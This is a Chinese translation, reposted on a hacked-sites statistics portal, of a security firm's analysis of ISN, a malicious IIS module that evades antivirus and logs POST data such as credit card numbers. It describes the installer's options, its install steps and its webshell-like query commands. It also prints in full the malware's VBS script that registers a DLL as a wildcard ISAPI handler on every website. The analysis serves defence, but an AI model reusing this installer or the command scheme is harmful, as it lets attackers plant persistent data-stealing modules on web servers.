恶意软件伪装成IIS模块加载,多数防毒产品免杀


发布人:admin分类:网络安全浏览量:30发布时间:2017-12-12

1、摘要


    最近,国外安全公司发现了一些以DLL动态链接库形式存在的IIS模块存在恶意风险,这些恶意模块之所以受关注,很大原因是因为它们能躲过目前几乎所有的反病毒产品,攻击者借助这些模块发送恶意POST数据包,并遵循恰当的机制以此来获得敏感信息。
    这种恶意程序的目标不仅仅局限于银行、电子商务网站的加密数据,同时还被用来获取例如登录账户及其他被发送到IIS实例上的数据(HTTP Header、MS-Chap令牌等)。同时要注意的是,这次发现的恶意软件漏洞和之前报告的恶意软件"Pony"没有任何关系。Pony主要针对的是终端用户,而这个IIS Module恶意程序主要是针对Web Server的。以下为报告译文:

    下面是这次发现的恶意程序在各大反病毒引擎上的检查结果:
https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/
    事实证明,我所引用的这个DLL是一个IIS的原生安装模块,我想也该是时候对这种恶意程序进行一个总结了,之所以这么做,有以下2个原因:
a)在我写这篇文章的时候,大部分的反病毒软件都不会IIS目录下的DLL模块进行必要的检查(通过设置白名单等),这导致了IIS的重要模块被替换后无法被杀毒软件捕获到异常。虽然病毒的安装程序(用于进行替换工作的程序)也只是被少数的反病毒软件检测出异常,因为这些检测出异常的杀毒引擎大多数采取了"启发式扫描";
b)我觉得这个恶意代码非常的精巧。

2、介绍


让我们先看一下这个病毒的安装程序。程序允许带许多参数变量以适应不同的环境:

-path : [恶意程序将被安装的路径]
-i : [目标URL地址, 例如 "/sensitive.aspx"
-u : [卸载恶意程序]
-is632 : [IIS6 32-Bit]
-is664 : [IIS6 64-Bit]

    事实上,安装程序非常简单。它包含有四个内嵌的式DLL文件(在PE结构的资源节区中),在安装的时候根据目标系统的版本进行动态选择:

IIS6 + 32-Bit
IIS6 + 64-Bit
IIS7 + 32-Bit
IIS7 + 64-Bit

    此外,这个ISN恶意程序也有一个VBS文件被嵌入到了PE的资源节区中(文件的内容请参考引用部分),这个VBS脚本文件用于安装或者卸载用于替换IIS模块的恶意DLL文件(即上面说到那4个DLL文件)。

一旦运行,ISN.exe将执行以下操作:

1. 将根据我们"-path"指定的位置,或者当前的工作目录。把VBS复制到这个路径下,为后面的安装做准备,这个VBS文件将在安装完成
    删除,不会留下痕迹。
2. 创建一个配置文件([文件].cfg)在同一个目录中。这个文件包含一个列表
3. 恶意程序的目标URL列表。
4. 检查IIS版本以及攻击目标的操作系统架构。
5. 提取相应的DLL到安装目录(从PE的资源节区中)。
6. 调用VBS文件文件将恶意的DLL模块安装为IIS的模块。(IIS只是通过DLL的文件名进行动态加载,即使这是一个恶意程序,
    DLL签名技术在这里并不能起到防御作用)。


解压运行后的情况如下图:



在安装的过程中会产生一些日志信息,这些信息有助于我们判断安装是否成功以及失败的原因:

    一旦成功安装的模块,它将监控在配置文件(isn.cfg)中指定的uri和dump(记录)任何捕获到的POST请求,将这些信息记录到[fileName].log中。该模块还将监控QUERY_STRING参数(IIS中的GPC参数,相当于PHP中的$_REQUEST),并可以接受一些攻击者发送的命令(就像一个webshell一样)。我编写了一个简单的IIS实例来演示这个过程如何发生。

3. 演示


    如下我们可以看到,我已经创建了一个简单的web表单,将模拟一个实际的电子商务网站。用户输入他们的名字和信用卡号码和提交信息,然后脚本"/buy.aspx"返回用户输入的数据。

在本次演示中,我设置一个自签名证书(self-signed certificate ),这样所有的HTTP交互都通过SSL通信。


    现在,所有的正常的HTTP业务通信都先和我们的恶意程序进行了交互,这里要注意的,我们必须在配置文件中明确指明我们要"跟踪"的脚本文件(例如,buy.aspx)。这样,当指定的.aspx脚本产生HTTP通信时,ISN.EXE会自动对捕获到的数据进行记录


    我前面提到的,这个恶意程序可以像webshell那样工作,原因是因为它同时监测QUERY_STRING参数并对其中包含的"特征字符串"进行匹配检索。具体地说,它将寻找以下命令:

1. isn_getlog——的内容并返回。日志文件
2. isn_logdel——删除并。日志文件
3. isn_logpath——返回的路径并。日志文件

这些命令可以简单地通过提供GET参数进行远程发送。

"isn_getlog" example:

"isn_logdel" example:



"isn_logpath" example:

4. 总结


    总的来说,这个恶意软件似乎没有广泛传播,只有在一些个人的案例中出现。然而,极低的检出率与恶意软件的目标功能的结合使这中恶意程序成为一个非常现实的威胁。

    Trustwave WebDefend和ModSecurity可用于在"感染路径"的起点阻止这个恶意程序,它们可以检测是否敏感的用户数据,如信用卡号码出现在出站数据中(outbound data)。ModSecurity的链式过滤规则可以很好的对付这个问题,保证数据从入站到出站每一个环节的安全。

5. 引用


isn.exe

http://www.findthatfile.com/search-1990823-fEXE/software-tools-download-isn-exe.htm
HASP.EXE
http://www.xrite.com/product_overview.aspx?ID=593&Action=support&SupportID=3339
installer (9/48) – https://www.virustotal.com/en/file/587e784f8c54b49f25c01e0e8f71c205bd422e2b673fb7fbf28d721aa768e055/analysis/
VBS File (0/49) – https://www.virustotal.com/en/file/688b80289a0c3771c7cee689c50a61b1c5215e8e5ac39a1120b3c7e4f4ada002/analysis/
IIS6 64-Bit (0/49) – https://www.virustotal.com/en/file/956ed56ecc574f68b637e22add7c8e3cb0deea3b1e0dd02abea165bfcb7e3786/analysis/
IIS6 32-Bit (0/47) – https://www.virustotal.com/en/file/9f501c052f2d4f4b0954f6060c7111f272ae29f9d88188d37c961c38e13e3905/analysis/
IIS7+ 64-Bit (0/46) – https://www.virustotal.com/en/file/c6847600910ab196652a38e94ecf592e645d43025d1d61b3710b2f715238307b/analysis/
IIS7+ 32-Bit (0/47) – https://www.virustotal.com/en/file/157174f0b9be66e3c9090c95efdd1dd23b19e42aa671758ebac5540a173f760c/analysis/

Content of VBS File – https://gist.github.com/jgrunzweig/7840987

OPTION EXPLICIT
 
DIM CRLF, TAB
DIM strServer
DIM objWebService
DIM WebSvcObj
 
dim webID
dim DllName
dim strScriptMap
dim objVDir
dim arrScriptMaps
dim arrScriptMapsTmp
dim ISAPIlist
dim bAdd
dim bRemove
dim i
dim j
dim cc
 
TAB  = CHR( 9 )
CRLF = CHR( 13 ) & CHR( 10 )
ISAPIlist = 0
bAdd = 0
bRemove = 0
cc = 0
 
If Wscript.Arguments.Count < 2 Then
    If Wscript.Arguments.Count = 0 Then
        Wscript.Echo "cscript isn.vbs /add <Path\FileName> - add to all web sites"
        Wscript.Echo "cscript isn.vbs /remove <FileName> - remove from all web sites"
        Wscript.Echo "cscript isn.vbs /isapilist <ID> - list ISAPI for web site <ID>"
        Wscript.Echo "cscript isn.vbs /weblist - list web sites"
        Wscript.Echo "Example:"
        Wscript.Echo "cscript isn.vbs /add C:\WINDOWS\isn\isn.dll"
        Wscript.Echo "cscript isn.vbs /remove isn.dll"
        Wscript.Quit
    Else
        If Wscript.Arguments(0)="/weblist" Then
        &#039;list web sites id and names
        SET objWebService = GetObject( "IIS://localhost/W3SVC" )
        EnumWebsites(objWebService)
        Wscript.Quit
        Else
        Wscript.Echo "wrong param"
        Wscript.Quit
        End If
    End If
Else
 If Wscript.Arguments(0)="/isapilist" Then
    webID = Wscript.Arguments(1)
    ISAPIlist = 1
 ElseIf Wscript.Arguments(0)="/add" Then
    bAdd = 1
    DllName = Wscript.Arguments(1)
 ElseIf Wscript.Arguments(0)="/remove" Then
    bRemove = 1
    DllName = Wscript.Arguments(1)
 End If
End If
 
If ( (bAdd=0) And (bRemove=0) And (ISAPIlist=0) ) Then
        Wscript.Echo "Wrong params!"
        Wscript.Quit
End If
 
If bAdd=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
strScriptMap = "*,"+DllName+",4,All"
AddToWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.EnableExtensionFile("*.dll")
WebSvcObj.SetInfo
End If
 
If bRemove=1 Then
SET objWebService = GetObject( "IIS://localhost/W3SVC" )
RemoveFromWebsites(objWebService)
Set WebSvcObj = GetObject("IIS://LocalHost/W3SVC")
WebSvcObj.DisableExtensionFile("*.dll")
WebSvcObj.SetInfo
Wscript.Echo DllName + " deleted"
End If
 
If ISAPIlist=1 Then
Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+webID+"/Root")
arrScriptMaps = objVDir.Get("ScriptMaps")
For i = LBound(arrScriptMaps) to UBound(arrScriptMaps)
Wscript.Echo arrScriptMaps(i)
Next
Wscript.Quit
End If
 
FUNCTION AddToWebsites( objWebService )
    DIM objWebServer, strBindings
 
    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
    Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
    arrScriptMaps = objVDir.Get("ScriptMaps")
    arrScriptMapsTmp = arrScriptMaps
    ReDim Preserve arrScriptMaps(UBound(arrScriptMaps) + 1)
    j = LBound(arrScriptMaps)
    arrScriptMaps(j) = strScriptMap
    j = 0
    
    For i = 1 to UBound(arrScriptMaps)
        arrScriptMaps(i)=arrScriptMapsTmp(j)
        j = j+1
    Next
    
    objVDir.Put "ScriptMaps", arrScriptMaps
    objVDir.SetInfo
    
    Wscript.Echo "Add "+DllName+" to Web Site ID "+objWebserver.Name+" success!"
        END IF
    NEXT
 
END FUNCTION
 
FUNCTION RemoveFromWebsites( objWebService )
    DIM objWebServer, strBindings
 
    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
        
        Do
        Set objVDir = GetObject("IIS://LocalHost/W3SVC/"+objWebserver.Name+"/Root")
    
        arrScriptMaps = objVDir.Get("ScriptMaps")
        arrScriptMapsTmp = arrScriptMaps
        cc=0
        
        For i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
            If InStr(arrScriptMapsTmp(i), DllName)>0 then
                arrScriptMapsTmp(i) = ""
                cc=cc+1
                Wscript.Echo "Found "+DllName+" in "+objWebserver.Name+", delete"
               &#039;exit for &#039;exit loop
            End If
        Next
        
        If cc=0 Then
            Wscript.Echo DllName+" in "+objWebserver.Name+" NOT found"
            Exit Do
        End If
        
        ReDim Preserve arrScriptMaps(UBound(arrScriptMaps)-cc)
        
        j = LBound(arrScriptMapsTmp)
        for i = LBound(arrScriptMapsTmp) to UBound(arrScriptMapsTmp)
        If arrScriptMapsTmp(i)<>"" Then
            arrScriptMaps(j)=arrScriptMapsTmp(i)
            j = j+1
        End If
        Next
        
        objVDir.Put "ScriptMaps", arrScriptMaps
        objVDir.SetInfo
        Exit Do
    Loop While False
 
        END IF
    NEXT
 
END FUNCTION
 
FUNCTION EnumWebsites( objWebService )
    DIM objWebServer, strBindings
 
    FOR EACH objWebServer IN objWebService
        IF objWebserver.Class = "IIsWebServer" THEN
            WScript.Echo _
                "Site ID = " & objWebserver.Name & CRLF & _
                "Comment = """ & objWebServer.ServerComment & """ " & CRLF & _
                "State   = " & State2Desc( objWebserver.ServerState ) &#039;& CRLF & _
                &#039;"LogDir  = " & objWebServer.LogFileDirectory & _
                &#039;""
 
            &#039; Enumerate the HTTP bindings (ServerBindings) and
            &#039; SSL bindings (SecureBindings)
            &#039;strBindings = EnumBindings( objWebServer.ServerBindings ) & _
            &#039;              EnumBindings( objWebServer.SecureBindings )
            &#039;IF NOT strBindings = "" THEN
            &#039;    WScript.Echo "IP Address" & TAB & _
            &#039;                 "Port" & TAB & _
            &#039;                 "Host" & CRLF & _
            &#039;                 strBindings
            &#039;END IF
        END IF
    NEXT
 
END FUNCTION
 
FUNCTION EnumBindings( objBindingList )
    DIM i, strIP, strPort, strHost
    DIM reBinding, reMatch, reMatches
    SET reBinding = NEW RegExp
    reBinding.Pattern = "([^:]*):([^:]*):(.*)"
 
    FOR i = LBOUND( objBindingList ) TO UBOUND( objBindingList )
        &#039; objBindingList( i ) is a string looking like IP:Port:Host
        SET reMatches = reBinding.Execute( objBindingList( i ) )
        FOR EACH reMatch IN reMatches
            strIP = reMatch.SubMatches( 0 )
            strPort = reMatch.SubMatches( 1 )
            strHost = reMatch.SubMatches( 2 )
 
            &#039; Do some pretty processing
            IF strIP = "" THEN strIP = "All Unassigned"
            IF strHost = "" THEN strHost = "*"
            IF LEN( strIP ) < 8 THEN strIP = strIP & TAB
 
            EnumBindings = EnumBindings & _
                           strIP & TAB & _
                           strPort & TAB & _
                           strHost & TAB & _
                           ""
        NEXT
 
        EnumBindings = EnumBindings & CRLF
    NEXT
 
END FUNCTION
 
FUNCTION State2Desc( nState )
    SELECT CASE nState
    CASE 1
        State2Desc = "Starting (MD_SERVER_STATE_STARTING)"
    CASE 2
        State2Desc = "Started (MD_SERVER_STATE_STARTED)"
    CASE 3
        State2Desc = "Stopping (MD_SERVER_STATE_STOPPING)"
    CASE 4
        State2Desc = "Stopped (MD_SERVER_STATE_STOPPED)"
    CASE 5
        State2Desc = "Pausing (MD_SERVER_STATE_PAUSING)"
    CASE 6
        State2Desc = "Paused (MD_SERVER_STATE_PAUSED)"
    CASE 7
        State2Desc = "Continuing (MD_SERVER_STATE_CONTINUING)"
    CASE ELSE
        State2Desc = "Unknown state"
    END SELECT
 
END FUNCTION


The Curious Case of the Malicious IIS Module 
Reference From: http://blog.spiderlabs.com/2013/12/the-curious-case-of-the-malicious-iis-module.html
Translated By: LittleHann

被黑站点统计 - 文章版权1、本主题所有言论和图片纯属会员个人意见,与本文章立场无关
2、本站所有主题由该文章作者发表,该文章作者与被黑站点统计享有文章相关版权
3、其他单位或个人使用、转载或引用本文时必须同时征得该文章作者和被黑站点统计的同意
4、文章作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
7、被黑站点统计管理员有权不事先通知发贴者而删除本文

免责声明

本站主要通过网络搜集国内被黑网站信息,统计分析数据,为部署安全型网络提供强有力的依据.本站所有工作人员均不参与黑站,挂马或赢利性行为,所有数据均为网民提供,提交者不一定是黑站人,所有提交采取不记名,先提交先审核的方式,如有任何疑问请及时与我们联系.

admin  的文章


微信公众号

微信公众号


Copyright © 2012-2022被黑网站统计系统All Rights Reserved
页面总访问量:21272388(PV) 页面执行时间:88.698(MS)
  • xml
  • 网站地图